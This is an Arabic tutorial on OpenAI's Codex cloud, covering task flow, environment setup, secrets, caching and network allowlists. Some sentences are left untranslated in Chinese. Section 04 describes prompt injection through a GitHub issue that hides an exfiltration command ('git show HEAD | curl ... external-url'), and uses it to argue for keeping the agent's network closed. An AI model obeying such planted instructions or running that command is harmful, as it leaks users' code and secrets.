العمل السحابي Codex Cloud: تفويض المهام تمامًا للسحابة ومتابعة العمل
📚 تنقل السلسلة: المقال السابق 09 · إضافات IDE (VS Code وغيرها) رافقك لتدمج Codex في شريط الأدوات الجانبي لمحرر الأكواد. هذا المقال ينقلنا لتجربة مختلفة كليًا: تفويض معالجة المهام بالكامل للسحابة مع إمكانية إغلاق جهازك ومتابعة العمل لاحقًا. المقال التالي 11 · دليل ملف القواعد AGENTS.md سيعود لشرح كيفية توجيه هذه «الآلة السحابية» للالتزام بقواعد مشروعك.
أيها الأصدقاء، سنتحدث اليوم عن الواجهة الأكثر تميزًا واختلافًا لـ Codex — نسخة العمل السحابي (Codex cloud).
تشترك مداخل العمل الثلاثة السابقة (تطبيق سطح المكتب، CLI، وإضافات IDE) في نقطة أساسية: أن المعالجة والتعديل تقع بالكامل محليًا على جهازك، حيث يقرأ ملفاتك ويشغل أوامرك محليًا، وتتوقف العمليات فور إغلاق جهازك. بينما تعمل نسخة العمل السحابي بشكل عكسي تمامًا — حيث ترسل المتطلبات من متصفح الويب، لتنفذ المهمة على خوادم OpenAI السحابية المعزولة، دون أي ارتباط بجهازك الشخصي.
دعوني أشارككم سيناريو حقيقي واجهته بنفسي: في أحد أيام شهر مايو الماضي، تعطلت فجأة عمليات بناء CI لمشروع Python ضخم يضم آلاف الأسطر، لوجود ثلاثة اختبارات فاشلة غير مترابطة، وكانت مهام حلها روتينية ولكن تتطلب فحص كل منها على حدة. سابقًا، كنت سأضطر للجلوس أمام الطرفية وتعديل كل ملف تلو الآخر. ولكنني قمت حينها بفتح مسار chatgpt.com/codex ووزعت الاختبارات الثلاثة على ثلاثة مهام مستقلة سحابيًا، لتنطلق ثلاثة خوادم سحابية لمعالجتها بالتوازي. قمت بإغلاق حاسوبي المحمول وذهبت لحضور اجتماع عمل، وعند عودتي، وجدت الفروق diff للحلول الثلاثة جاهزة ومنسقة بانتظار موافقتي لرفع طلب PR مباشرة، ودون أن يستهلك حاسوبي أي طاقة أو ترتفع حرارته.
بعد قراءة هذا المقال，你会拿到：
- فهم مفهوم نسخة العمل السحابي بالكامل: تفادي تهيئة البيئات محليًا، العمل داخل حاوية معزولة على سحابة OpenAI، والارتباط بمستودع GitHub الخاص بك.
- استيعاب مسار عمل المهمة السحابية بالكامل عبر خمس خطوات ثابتة تبدأ بإنشاء الحاوية وتنتهي بعرض الفروق diff.
- تعلم كيفية تهيئة البيئة السحابية (environment): إعداد برامج التهيئة، متغيرات البيئة، إدارة الأسرار والـ Secrets، تثبيت الإصدارات، وتخزين الذاكرة المؤقتة (cache).
- فهم وإعداد القائمة البيضاء للشبكة — سبب حظر الشبكة عن الوكيل افتراضيًا، متى يتعين فتحها، وما هي المخاطر الأمنية المرافقة لذلك.
- جدول مقارنة شامل بين «العمل السحابي والعمل المحلي» لتحديد المهام المناسبة للتفويض سحابيًا وتلك التي يفضل إبقاؤها محليًا.
01 أولاً: ما هي نسخة العمل السحابي بالضبط
الخلاصة أولاً: تعتمد نسخة العمل السحابي على نقل وكيل Codex لخوادم OpenAI السحابية — لتفادي تهيئة أي بيئات برمجية محليًا؛ وتكتفي بفتح متصفح الويب والربط بمستودع GitHub وتوجيه التعليمات، ليقوم الوكيل بقراءة وتعديل الأكواد وتشغيل الاختبارات داخل حاوية سحابية معزولة بالكامل، ويعرض الفروق (diff) ويرفع طلب PR عند الانتهاء.
وتعمل الأداة تحت مسار chatgpt.com/codex، ويتطلب استخدامها للمرة الأولى ربط وتوثيق حسابك في GitHub. لتمنح Codex صلاحيات قراءة الأكواد للمستودع المحدد وتوليد وإرسال طلبات السحب Pull Request (أو PR باختصار) للتعديلات المقترحة.
点击中间链接到 GitHub
关联之后，就可以直接选择仓库进行代码修改了，当然如果不想关联了就进到设置里取消关联即可。
تشبيه: تفضيل ركوب سيارة أجرة مجهزة بدلاً من قيادة سيارتك الخاصة. يشبه التطوير المحلي قيادة سيارتك الخاصة — فرغم اعتيادك عليها، يتعين عليك تزويدها بالوقود وفحص ضغط الإطارات وتدفئة المحرك مسبقًا (تهيئة البيئة وتثبيت الاعتمادات محليًا). بينما يشبه العمل السحابي طلب سيارة أجرة: فالسيارة والوقود والسائق توفرها المنصة بالكامل، وتكتفي بتحديد وجهتك في التطبيق (التوجيه والمهمة المطلوبة)، وركوب السيارة (بدء المهمة)，到站下车（看 diff）。中途车坏了、撞了，都是平台的事，伤不到你自己那辆车一根毫毛。
وتقنيًا، تتمثل هذه السيارة المجهزة في الحاوية المعزولة (Container — بيئة عمل خفيفة مستقلة) التي ينشئها Codex سحابيًا مع كل مهمة جديدة، حيث يجلب مستودع الأكواد إليها لمعالجة التعديلات بأمان كامل دون لمس ملفات جهازك الشخصي.
وتناسب هذه البيئة الحالات التالية بشكل ممتاز:
- تشغيل عمليات متوازية متعددة: معالجة كل مهمة في حاوية فرعية مستقلة بفرع عمل مستقل لتفادي تداخل وتلف الملفات.
- التطوير على مستودعات غير محملة محليًا: عند الرغبة في إجراء تعديلات سريعة لمستودع دون الحصول على أمر
git cloneمحليًا. - تفويض المهام الطويلة في الخلفية: المهام التي تستغرق دقائق طويلة مثل تشغيل كامل الاختبارات أو إعادة الهيكلة الشاملة للمستودع يمكن إرسالها للسحابة ومواصلة عملك الآخر.
- العمل من أجهزة جديدة غير مهيأة: عند استخدام حواسيب زملاء العمل أو أجهزة جديدة تفتقر للأدوات والاعتمادات اللازمة للتطوير.
ونوضح شرطين أساسيين لتفادي المشاكل:
- الارتباط بحساب GitHub: يعتمد العمل السحابي على قراءة مستودعات GitHub، وغياب الربط يمنعه من البدء.
- الاشتراك في الباقات المدفوعة: تتيح الباقات المدفوعة مثل Plus و Pro و Business و Edu و Enterprise حصص استخدام Codex السحابية؛ وقد يتطلب تفعيلها صلاحية إضافية من مدير الحساب في باقات المؤسسات. ويرجى مراجعة تفاصيل الأسعار والحدود المحدثة للتأكيد.
💡 الخلاصة في جملة واحدة: يعتمد العمل السحابي على تشغيل حاويات معزولة سحابيًا لـ OpenAI مع الربط بمستودع GitHub وتجاوز تهيئة البيئات محليًا، وهو الأنسب للمهام المتوازية، التطوير على مستودعات غير محملة محليًا، وتفويض المهام الطويلة في الخلفية؛ ويتطلب الاشتراك في الباقات المدفوعة والربط بحساب GitHub.
02 ثانياً: مسار معالجة المهمة السحابية عبر 5 خطوات
عند الضغط على زر إرسال المهمة سحابيًا، ما هي الإجراءات التي تقع في الخلفية؟ تحدد الوثائق خمس خطوات واضحة لإتمام المهمة، وفهمها يسهل إعداد وضبط البيئة وإعدادات الشبكة لاحقًا.
تشبيه: إرسال المواد الخام لخط إنتاج مؤتمت. تضع مستودع الأكواد (المادة الخام) على سير خط الإنتاج، ليمر بخطوات متتالية محددة — جلب الأكواد، التجهيز المبدئي والتهيئة، تفعيل الطاقة والخدمات، بدء التعديل التلقائي، وعرض المنتج النهائي للفحص. وتلتزم العملية بالترتيب الثابت، ويمكنك تخصيص طريقة معالجة كل خطوة.
وتسير خطوات العمل السحابي كالتالي:
- إنشاء الحاوية وجلب الملفات: يُنشئ Codex حاوية عمل معزولة جديدة، ويقوم بـ clone للمستودع بناءً على الفرع أو الـ commit المحدد.
- تشغيل برامج التهيئة (setup script): لتثبيت الاعتمادات والأدوات اللازمة للمشروع — مثل تشغيل
npm installأوpip install. 如果用的是缓存容器续跑，还会额外跑一段可选的维护脚本（maintenance script）。 - تطبيق صلاحيات الشبكة: يسمح للنظام بالاتصال بالويب أثناء تشغيل برامج التهيئة (لتثبيت الحزم والاعتمادات)، بينما يتم حظر الشبكة افتراضيًا عن الوكيل عند البدء في التعديل (وسنفصل هذا في القسم 04)。
- دخول الوكيل في حلقة العمل: يبدأ الوكيل في تعديل الملفات وتشغيل أوامر الفحص والاختبارات في البيئة المعزولة للتأكد من سلامة التعديل. ويقوم بقراءة واستيعاب التوجيهات المسجلة في ملف
AGENTS.mdالخاص بمشروعك (ولهذا تبرز أهمية هذا الملف كما سنشرح في المقال 11). - تقديم المخرجات: بعد انتهاء العمليات، يعرض الوكيل تفاصيل الحل والفروق البرمجية (diff) المقابلة، ويتيح لك إنشاء طلب PR مباشرة أو كتابة توجيهات إضافية للتصحيح.
يوضح المخطط التالي مسار العمل:
يوضح المخطط فكرة هامة: أن المهمة السحابية تسير في مسار ثابت مقسم لمرحلتين — مرحلة تثبيت الحزم ومرحلة التعديل والعمل، وتختلف صلاحيات الشبكة لكل مرحلة (تُفتح لتثبيت الحزم وتُغلق افتراضيًا للتعديل)، وفهم هذا التقسيم يسهل عملية ضبط الإعدادات لاحقًا.
وننبه هنا لمشكلة يواجهها المبتدئون: لا يتوقف الوكيل السحابي عشوائيًا لطلب موافقتك أثناء العمل — بل يقوم بقراءة المهمة والتعديل بالكامل وعرض المخرجات النهائية بصيغة diff مباشرة. ويختلف هذا السلوك مع التطوير المحلي بـ CLI حيث يطلب الإذن لتجاوز الحدود. لذا تأكد من صياغة التوجيهات السحابية بدقة ووضوح شديدين: بتحديد الملف المستهدف، التعديل المطلوب، والمخرجات المتوقعة.
لقد واجهت هذه المشكلة بنفسي سابقًا: حيث كتبت توجيهًا عامًا «قم بتحسين وحدة السجلات»، فقام الوكيل بإعادة هيكلة وتعديل واسع للملفات بشكل عشوائي تجاوز النطاق المستهدف بكثير، واضطررت لقضاء وقت طويل لمراجعة diff والتصحيح يدويًا. ومنذ ذلك الحين، أصيغ توجيهاتي بدقة مثل: «استبدل دوال print بـ logging.info داخل ملف logger.py حصريًا، وتجنب لمس أي ملفات أخرى في المشروع» لضمان التزام الوكيل بالنطاق.
💡 الخلاصة في جملة واحدة: تسير المهمة السحابية في 5 خطوات ثابتة — إنشاء الحاوية ← تشغيل برامج التهيئة (تسمح بالاتصال) ← تطبيق صلاحيات الشبكة (الوكيل معزول افتراضيًا) ← التعديل البرمجي ← عرض الفروق diff؛ ولا يتوقف الوكيل لطلب الإذن أثناء العمل، لذا صغ تعليماتك بدقة ووضوح.
03 تهيئة البيئة: إعداد وتثبيت الاعتمادات للبيئة المعزولة
تبدأ حاوية العمل السحابي كـ «بيئة افتراضية موحدة»، ولكن مشاريعك تتطلب اعتمادات وإصدارات محددة من اللغات والـ linters والـ compilers للتشغيل الصحيح. وتُدار هذه التهيئة من لوحة إعدادات البيئة المخصصة للمشروع.
تشبيه: تجهيز وتأثيث شقة سكنية. توفر المنصة الشقة كبيئة خالية (الحاوية)، ويتعين عليك تحديد قائمة المتمتعات قبل السكن: كشراء الأجهزة وتوصيل الخدمات (تثبيت الاعتمادات)، ضبط حرارة المياه (تحديد إصدار اللغات)، وتسجيل كلمة مرور Wi-Fi (إعداد متغيرات البيئة). وبتسجيل هذه القائمة، يقوم النظام بتجهيز الشقة تلقائيًا مع كل زيارة دون الحاجة لإعادة التوجيه. وتُهيأ الإعدادات من صفحة Environments في إعدادات Codex.
ونفصل الجوانب الأساسية للتهيئة في التالي:
默认镜像：universal
يعمل الوكيل السحابي افتراضيًا داخل حاوية معزولة تعتمد على 镜像 يسمى universal، ويحتوي على اللغات والاعتمادات والأدوات الشائعة مثبتة مسبقًا (مثل Python و Node.js وجاهزة للعمل). ولمراجعة محتويات الـ universal، يمكنك مراجعة مستودعه المفتوح المصدر في github.com/openai/codex-universal حيث يتوفر ملف Dockerfile الخاص به بالكامل.
وإذا كان مشروعك يتطلب إصدارات محددة تختلف عن الافتراضية، ففعل خيار «Set package versions» في لوحة الإعدادات لتثبيت وتحديد إصدارات Node.js أو Python لتفادي التعارض في التشغيل بين جهازك المحلي والسحابة.
设置脚本：自动 or 手动
برامج التهيئة (setup script) هي الأوامر التي يتم تشغيلها تلقائيًا فور بدء الحاوية وقبل دخول الوكيل، وتتولى تثبيت الحزم والاعتمادات. وتأتي بمسارين:
- التهيئة التلقائية: تدعم الأداة التعرف التلقائي على مديري الحزم الشائعين مثل (
npmوyarnوpnpm和pip和pipenv和poetry），Codex 能自动认出来、自动帮你装依赖，你啥都不用写。 - التهيئة اليدوية: للمشاريع المعقدة التي تتطلب أوامر تثبيت مخصصة، يمكنك كتابة script تهيئة بنفسك، مثل:
# تثبيت أداة فحص الأنواع
pip install pyright
# تثبيت الاعتمادات للمشروع
poetry install --with test
pnpm install⚠️ تنبيه هام ومكرر تنص عليه الوثائق: تعمل برامج التهيئة والوكيل في جلستي Bash مستقلتين، لذا فإن متغيرات البيئة التي يتم تصديرها بأمر
exportفي برنامج التهيئة لن يتم تمريرها للوكيل. فإذا كتبتexport FOO=barفي برنامج التهيئة، فسيقرأها الوكيل كقيمة فارغة. وللحفاظ على قيمة المتغيرات للوكيل، اكتبها في ملف~/.bashrcأو أدرجها مباشرة في لوحة إعدادات البيئات المخصصة (كما سنوضح أدناه). ولقد واجهت هذا التعارض سابقًا عند إعداد CI لمستودع monorepo وقضيت وقتًا للبحث قبل قراءة هذا القيد في الوثائق.
环境变量 vs Secrets：长得像，活不一样
يتشابه كلاهما في إدخال القيم والمتغيرات للحاوية، ولكن تختلف مستويات الأمان ومجالات الرؤية بينهما كليًا:
| نوع المتغير | مدى الحياة والصلاحية | لمن يظهر | الاستخدام المناسب |
|---|---|---|---|
| متغيرات البيئة (Environment Variables) | طوال فترة الجلسة (لبرنامج التهيئة والوكيل معًا) | برنامج التهيئة + الوكيل | للمتغيرات العادية مثل NODE_ENV |
| الأسرار (Secrets) | تقتصر على مرحلة تشغيل برنامج التهيئة فقط، ويتم حذفها قبل دخول الوكيل | برنامج التهيئة فقط | للمفاتيح الحساسة وكلمات المرور مثل API keys |
لماذا تم تصميم Secrets بهذا القيد؟ توضح الوثائق الرسمية: أن الأسرار تخضع لتشفير إضافي ولا يتم فك تشفيرها إلا عند تشغيل الحاوية، ويتم مسحها بالكامل قبل دخول الوكيل للعمل كإجراء أمني صارم لحماية البيانات. وبعبارة أخرى: تظهر مفاتيحك السرية أثناء خطوة تثبيت الاعتمادات فقط، وفور دخول الوكيل وبدء تعديل الملفات البرمجية يتم حجب وحذف المفاتيح بالكامل لتفادي تسريبها أو كشفها للخارج. لذا تأكد من وضع المفاتيح وكلمات المرور في Secrets وتجنب وضعها في متغيرات البيئة العادية.
容器缓存：为什么第二次跑得更快
يتطلب بناء الحاوية وتثبيت الحزم والاعتمادات من الصفر وقتًا طويلاً، لذا يقوم Codex بتخزين حالة الحاوية مؤقتًا لمدة تصل لـ 12 ساعة، لتسريع تشغيل المهام اللاحقة وإعادة المحاولة في نفس الجلسة.
وتسير آلية التخزين المؤقت كالتالي (وفقًا لتوضيحات الوثائق):
- المهمة الأولى (بناء الذاكرة المؤقتة): يتم clone للمستودع، والتحويل للفرع الرئيسي، وتشغيل برامج التهيئة، وحفظ حالة الحاوية الناتجة.
- المهام اللاحقة (إعادة الاستخدام): يتم التحويل للفرع المحدد للمهمة الجديدة مباشرة، وتشغيل برنامج الصيانة (maintenance script) لتحديث الاعتمادات عند الحاجة دون إعادة التثبيت بالكامل.
ومتى يتم إلغاء وتدمير الذاكرة المؤقتة تلقائيًا؟ عند تعديل أي من برامج التهيئة، أو برامج الصيانة، أو متغيرات البيئة، أو الأسرار (Secrets). وعند حدوث تعارض للملفات، يمكنك الضغط على زر «Reset cache» في لوحة الإعدادات لمسح الحاوية يدويًا.
⚠️ تنبيه لفرق العمل: تتم مشاركة الذاكرة المؤقتة للبيئة السحابية بين كامل أعضاء الفريق في باقات Business و Enterprise — والضغط على زر «Reset cache» يمسح الحاوية لجميع أعضاء الفريق النشطين، فتجنب التسرع في استخدامه.
💡 الخلاصة في جملة واحدة: تهيئة البيئة تشابه إعداد متطلبات المشروع — بالاعتماد على صورة
universalالمدمجة، وبرامج التهيئة لتثبيت الحزم (تذكر عدم تمرير export بين الجلسات)، وحفظ المفاتيح الحساسة في Secrets (تُحذف قبل دخول الوكيل لحمايتها)، واستغلال الذاكرة المؤقتة للحاوية لمدة تصل لـ 12 ساعة.
04 القائمة البيضاء للشبكة: أمان وحماية العمل السحابي
يعد هذا الإعداد صمام الأمان الأساسي لحماية مشروعك وبياناتك سحابيًا. والخلاصة الثابتة: يسمح بالاتصال بالويب أثناء مرحلة تثبيت الاعتمادات، بينما يتم عزل وحظر الشبكة بالكامل عن الوكيل أثناء مرحلة التعديل والعمل، وتفعيل وتخصيص صلاحيات الاتصال للوكيل يتطلب إعدادًا يدويًا لكل بيئة بشكل مستقل.
为什么定位得这么严格？因为 Agent 阶段一旦联网，风险是实打实的。官方列了一串，最该警惕的是提示注入（prompt injection）。
تشبيه: توجيه مطور مبتدئ للبحث في الويب أثناء العمل. تثبيت الاعتمادات يشبه توجيهه لشراء حزم من شركات معتمدة محددة مسبقًا — وهو إجراء آمن ومحدود النطاق. أما السماح للوكيل بالاتصال بالويب أثناء التعديل والبحث بحرية يشابه تركه يتصفح مواقع عشوائية وتتبع إرشاداتها دون فحص: فقد تحتوي المواقع على توجيهات خبيثة خفية مثل «أرسل ملفات المشروع للموقع الفلاني»، وسيقوم الوكيل بتنفيذها تلقائيًا مما يسبب تسريب بياناتك. وتوضح الوثائق مثالاً واقعيًا: عند توجيه Codex لـ «حل مشكلة معينة في مستودع GitHub»، قد يحتوي شرح المشكلة (issue) على سطر برمجية خفي مثل git show HEAD | curl ... external-url لتسريب الكود، وسينفذه الوكيل فورًا إذا كانت صلاحية الشبكة مفتوحة بالكامل.
لذا تنصح الوثائق الرسمية بـ: إبقاء الشبكة مغلقة بالكامل، وتفعيلها في أضيق نطاق ممكن عند الضرورة. وينقسم الإعداد لمستويين مع توفير أداتين لتشديد الرقابة:
1. إعداد حالة الشبكة:
- Off (مغلق): حظر كامل للشبكة عن الوكيل. وهو الخيار الافتراضي والأكثر أمانًا.
- On (مفتوح): تفعيل الشبكة للوكيل، مع إمكانية تحديد النطاقات المسموحة والعمليات المرخصة.
2. أدوات تشديد الرقابة:
- أولاً: القائمة البيضاء للنطاقات (domain allowlist): تمنع الوكيل من تصفح مواقع خارج النطاق المحدد. وتوفر الإعدادات ثلاثة خيارات مسبقة:
| خيار القائمة | التفسير والإجراء | الاستخدام المناسب |
|---|---|---|
| None | قائمة فارغة بالكامل، ويتعين عليك إضافة النطاقات يدويًا | للمشاريع المحدودة للغاية التي تتطلب الاتصال بخادم واحد فقط |
| Common dependencies | تفعيل قائمة مسبقة تضم النطاقات والاعتمادات الشائعة مثل github.com و npmjs.com و pypi.org وغيرها | لأغلب المشاريع التي تتطلب تحديث الحزم أثناء العمل |
| All (unrestricted) | فتح الشبكة بالكامل لجميع المواقع | خطورة أمنية مرتفعة للغاية وتجنب اختيارها |
وعند اختيار None أو Common dependencies، يمكنك إضافة نطاقات مخصصة إضافية لمشروعك (مثل api.mycompany.com). وتتحدث قائمة النطاقات الشائعة باستمرار مع التحديثات الرسمية.
- ثانياً: تحديد دوال وبروتوكولات HTTP: تنصح الوثائق الرسمية بحصر عمليات الاتصال في دوال القراءة فقط مثل
GETوHEADوOPTIONS. ويقوم النظام بحظر عمليات الكتابة والإرسال مثلPOSTوPUTوPATCHوDELETEتلقائيًا. وتمنع هذه الفحوصات تسريب البيانات للخارج بنسبة كبيرة لتعذر إرسال الملفات أو الطلبات للمواقع الخارجية.
نلخص إعدادات الشبكة وصلاحياتها في هذا الجدول:
| المرحلة / الإعداد | حالة الشبكة | التوضيح الفني |
|---|---|---|
| برنامج التهيئة | ✅ مفتوحة | لتثبيت الحزم والاعتمادات المطلوبة |
| مرحلة عمل الوكيل (الافتراضي) | ❌ مغلقة | الخيار الأكثر أمانًا لمنع الهجمات والتهديدات |
| الوكيل مفتوح + Common dependencies | ⚠️ محدودة النطاق | توليفة مناسبة تجمع بين الأمان والجاهزية |
| الوكيل مفتوح + حصر دوال القراءة (GET/HEAD) | ⚠️ قراءة فقط | تمنع عمليات إرسال وتسريب البيانات للخارج |
| الوكيل مفتوح بالكامل (All) | 🚨 مفتوحة بالكامل | مخاطر أمنية مرتفعة للغاية وتجنب استخدامها |
وعن تجربة شخصية: ألتزم بإبقاء الشبكة مغلقة بالكامل (Off) افتراضيًا، لكون تثبيت الاعتمادات في برنامج التهيئة كافٍ لتشغيل وعمل الوكيل محليًا دون الحاجة للاتصال بالويب أثناء التعديل. وعند الحاجة لاستدعاء واجهات خارجية أو فحص بيانات حية، أفعل خيار القائمة البيضاء للنطاقات الشائعة مع حصر العمليات في دوال القراءة فقط، وأضيف الخوادم المستهدفة يدويًا وتجنب فتح الشبكة بالكامل. وخلال عملي على عشرات المهام السحابية، لم أحتاج لفتح الشبكة بالكامل سوى لعدد محدود للغاية من المهام الخاصة.
⚠️ تنبيه فني: تمر جميع عمليات الاتصال الصادرة من الحاوية السحابية عبر خادم وكيل (HTTP/HTTPS Proxy) مدار بواسطة OpenAI لحماية وتأمين العمليات ومنع الاختراقات.
💡 الخلاصة في جملة واحدة: يسمح للشبكة بالعمل لتثبيت الاعتمادات وتُغلق افتراضيًا عن الوكيل، والخطر الأكبر لفتحها هو هجمات حقن التوجيهات لتسريب الكود والأسرار؛ وعند الحاجة لفتحها التزم بـ Common dependencies وحصر العمليات في دوال القراءة وتجنب فتح الشبكة بالكامل.
05 مقارنة العمل السحابي والعمل المحلي: متى تختار السحابة؟
لا يمثل العمل السحابي بديلاً للعمل المحلي بل هما يتكاملان معًا. والفيصل الأساسي لاختيار المسار المناسب هو:
هل تتطلب المهمة الوصول لملفات أو أدوات مخصصة محليًا على جهازي الشخصي؟ إذا كانت الإجابة نعم، فالتزم بالعمل المحلي (CLI أو تطبيق سطح المكتب أو إضافات IDE)؛ وإذا كانت الإجابة لا، فتفويض العمل للسحابة يوفر موارد جهازك ويسهل العمل.
والسبب يرجع لكون الحاوية السحابية لا تقرأ ولا تحتوي إلا على الملفات المسجلة في مستودع GitHub الخاص بك — وكل الأدوات أو الإعدادات أو مفاتيح التوثيق الخاصة بجهازك الشخصي (مثل إعدادات ملف ~/.codex/ أو خوادم MCP المحلية) تكون غائبة تمامًا عن السحابة. ولتفعيلها سحابيًا، يتعين عليك حفظها وتسجيلها في مستودع الأكواد (ككتابة القواعد في ملف AGENTS.md أو تهيئة البيئة المعزولة في لوحة الإعدادات).
نوضح المقارنة الشاملة في التالي:
| وجه المقارنة | نسخة العمل السحابي (Cloud) | التطوير المحلي (Local / Worktree) |
|---|---|---|
| أين يتم التنفيذ | خوادم OpenAI السحابية | جهازك الشخصي محليًا |
| من أين يتم التوجيه | متصفح الويب chatgpt.com/codex | الطرفية / واجهة التطبيق / إضافات IDE |
| الوصول للملفات المحلية | ❌ يقتصر على مستودع GitHub فقط | ✅ يقرأ كامل ملفات وأدوات جهازك |
| شرط الارتباط بـ GitHub | ✅ مطلوب وتعتمد عليه العمليات بالكامل | ❌ غير مطلوب |
| العمل عند إغلاق الجهاز | ✅ يستمر العمل سحابيًا وينتج الحلول | ❌ يتوقف العمل فورًا |
| إدارة العمليات المتوازية | ✅ ممتاز، يعالج كل مهمة في حاوية معزولة | يتطلب إعداد مجلدات worktree متعددة يدويًا |
| طريقة استلام التعديلات | مراجعة diff وإنشاء طلب PR سحابيًا | تعديل الملفات المحلية مباشرة على القرص |
| طلب الإذن أثناء العمل | ❌ يعالج المهمة بالكامل ويعرض diff النهائي | ✅ يتوقف لطلب الإذن لتجاوز الحدود |
ونركز على ميزتين أساسيتين لنسخة العمل السحابي:
- استمرار العمل عند إغلاق الجهاز: وهي الميزة الحصرية التي توفر الوقت وتتيح إرسال المهام وإغلاق الحاسوب لتستلم الحلول الجاهزة لاحقًا.
- إدارة العمليات المتوازية: حيث تنشأ حاويات عمل مستقلة لكل مهمة تلقائيًا لتفادي تعارض الملفات.
وتدعم الأداة تفويض المهام السحابية بمسارات متعددة تشمل: التوجيه مباشرة من متصفح الويب، تفويض الجلسة المحلية من لوحة إضافة IDE (بأمر /cloud)، أو كتابة تعليق @codex داخل التذاكر (Issues) أو طلبات السحب (PR) في GitHub ليقوم الوكيل بقراءة الأكواد سحابيًا وتعديلها تلقائيًا.
يوضح المخطط التالي مسار العمل المتكامل للنسخة السحابية:
يوضح المخطط مسار العمل: تبدأ بالربط بمستودع GitHub ← تهيئة البيئة السحابية (الاعتمادات والنطاقات المسموحة للشبكة) ← إرسال المهمة (تدعم التوازي) ← المعالجة داخل الحاوية السحابية المعزولة ← مراجعة diff النهائي ← وتصدير PR للحفظ — ويتم إعداد البيئة مرة واحدة للمشروع، ويستمر عمل خوادم OpenAI في معالجة المهام سحابيًا حتى عند إغلاق جهازك بالكامل.
06 تمرين عملي: إرسال وتأكيد المهمة الأولى سحابيًا
سنطبق الآن مسار عمل متكامل لإرسال وتأكيد أول مهمة سحابيًا ومراجعة النتائج واستلام طلب PR. ويتطلب هذا التمرين توفر مستودع GitHub تجريبي تملك صلاحية التعديل عليه (تجنب استخدام مستودعات حقيقية في البداية).
تنبيه: تعتمد الخطوات على واجهات متصفح الويب لـ ChatGPT و GitHub، وقد تختلف المسميات وأماكن الأزرار مع التحديثات المستمرة، والتزم بالمسار العام والنتائج المتوقعة.
الخطوة الأولى: فتح الواجهة السحابية والربط بحساب GitHub
افتح متصفح الويب وتوجه للمسار التالي:
https://chatgpt.com/codexواتبع الإرشادات لـ ربط حسابك في GitHub وتحديد المستودع التجريبي المسموح بالوصول إليه.
المتوقع: بعد نجاح التوثيق، ستظهر لك واجهة Codex السحابية مع إمكانية اختيار المستودع التجريبي من القائمة. وإذا لم يظهر المستودع، فراجع إعدادات الأمان والترخيص لحساب GitHub الخاص بك وامنحه صلاحية الوصول للمستودع المحدد.
الخطوة الثانية: مراجعة إعدادات البيئة (اختياري)
توجه لصفحة Environments في لوحة الإعدادات وراجع إعدادات المستودع المختار.
المتوقع: للمرة الأولى، ستكون الإعدادات بالقيم الافتراضية — صورة universal المدمجة، التهيئة التلقائية، وحالة الشبكة للوكيل Off. والتزم بهذه التوليفة الافتراضية للمرة الأولى وتجنب تعديل صلاحيات الشبكة أو كتابة script تهيئة لتسهيل التمرين.
الخطوة الثالثة: إرسال توجيه محدد النطاق وسهل الفحص
حدد المستودع التجريبي واكتب التوجيه التالي بدقة في صندوق الإرسال:
أنشئ ملفًا جديدًا في الدليل الرئيسي للمشروع باسم HELLO.md، واكتب بداخله السطر التالي حصريًا: Hello from Codex cloud. وتجنب تمامًا تعديل أو لمس أي ملفات أخرى في المشروع.واضغط على زر الإرسال.
المتوقع: تظهر واجهة تقدم العمل وتوضح خطوات العمل الحالية: إنشاء الحاوية، جلب مستودع الأكواد، تشغيل برامج التهيئة، ودخول الوكيل للعمل — وهي الخطوات الخمس المشروحة في القسم 02، لتشاهد تطبيقها العملي الآن.
الخطوة الرابعة: مراجعة الفروق diff للنتائج
انتظر إتمام العمليات بالكامل.
المتوقع: يعرض Codex تقريرًا بالحل ومقارنة الفروق (diff) للملفات المعدلة — وتوضح إضافة ملف جديد HELLO.md يحتوي على عبارة الترحيب المحددة حصريًا. وتأكد من نظافة التعديلات وتطابقها مع التوجيه المكتوب.
الخطوة الخامسة: إنشاء طلب PR
بعد مراجعة diff والتأكد من سلامته، اضغط على زر Create PR (إنشاء طلب سحب)، أو وجه له تعليمات إضافية للتعديل عند الحاجة.
المتوقع: ينشئ Codex فرع عمل جديد (branch) في مستودع GitHub الخاص بك ويرسل طلب سحب Pull Request يحتوي على التعديلات المقترحة. ورؤية طلب PR في مستودع GitHub يعني نجاح تشغيل المسار بالكامل، تهانينا!
💡 الخلاصة في جملة واحدة: إرسال التوجيه ← مراجعة diff النهائي ← وتصدير PR؛ وتطبيق هذا التمرين العملي يوضح لك مسار المعالجة السحابية بالكامل، وتذكر صياغة المهام بوضوح، ومراجعة diff بدقة، وتصدير طلب PR للاعتماد.
07 تفاصيل الاتصال بالإنترنت وفصل النطاقات
تعتمد الواجهة السحابية وعمليات الربط بالكامل على الاتصال بخدمات chatgpt.com لـ OpenAI.
والخلاصة واضحة: تأكد من جاهزية واستقرار شبكة الاتصال والوصول للخدمات للبدء، وإلا فقد تواجه بطء في تحميل الصفحات أو تعطل توثيق حساب GitHub.
ولكن هناك تفصيل هام يرتبط بالشبكة قد يساء فهمه:
تعمل الحاوية السحابية والوكيل بداخلها بالاعتماد على خوادم وشبكة OpenAI الخاصة السحابية، ولا ترتبط بشبكة جهازك الشخصي. فعند قراءة الحزم وتحديث المستودعات سحابيًا، يعتمد النظام على شبكة وسرعة خوادم OpenAI وقوانين القائمة البيضاء المحددة لها، ولا يتأثر عملها بجودة أو سرعة شبكة جهازك الشخصي محليًا.
ونفصل الفروق لتسهيل حظر الأخطاء:
- الاتصال المطلوب لجهازك الشخصي: ينحصر في تأمين اتصال متصفح الويب مع خوادم
chatgpt.comلعرض الواجهة وتوجيه المهام. - الاتصال للحاوية السحابية: يُدار بالكامل بواسطة OpenAI ويخضع للقائمة البيضاء المحددة للبيئة، ولا يرتبط بجودة شبكتك المحلية.
فعند حدوث بطء في تثبيت الحزم أو تعذر الوصول لنطاقات برمجية داخل الحاوية السحابية، تجنب تعديل إعدادات شبكة جهازك محليًا — لكون المشكل يرتبط بـ «إعدادات القائمة البيضاء المحددة للبيئة السحابية»، ويتعين عليك إضافة النطاقات المطلوبة في لوحة التحكم السحابية مباشرة.
💡 الخلاصة في جملة واحدة: يتطلب تشغيل الواجهة وتوثيق GitHub استخدام شبكة اتصال مستقرة؛ وتعمل البيئة السحابية للوكيل بداخل شبكتها المستقلة وخادم وكيل مخصص، وتحديد النطاقات المسموحة للعمل يتم بتعديل إعدادات القائمة البيضاء سحابيًا مباشرة.
08 ملخص
لخص هذا المقال تفاصيل وقدرات نسخة العمل السحابي لـ Codex:
- المفهوم الأساسي: تفويض العمليات بالكامل لخوادم OpenAI السحابية المعزولة لتفادي استهلاك موارد جهازك محليًا، وتعتمد العملية على الربط بمستودع GitHub والاشتراك في الباقات المدفوعة.
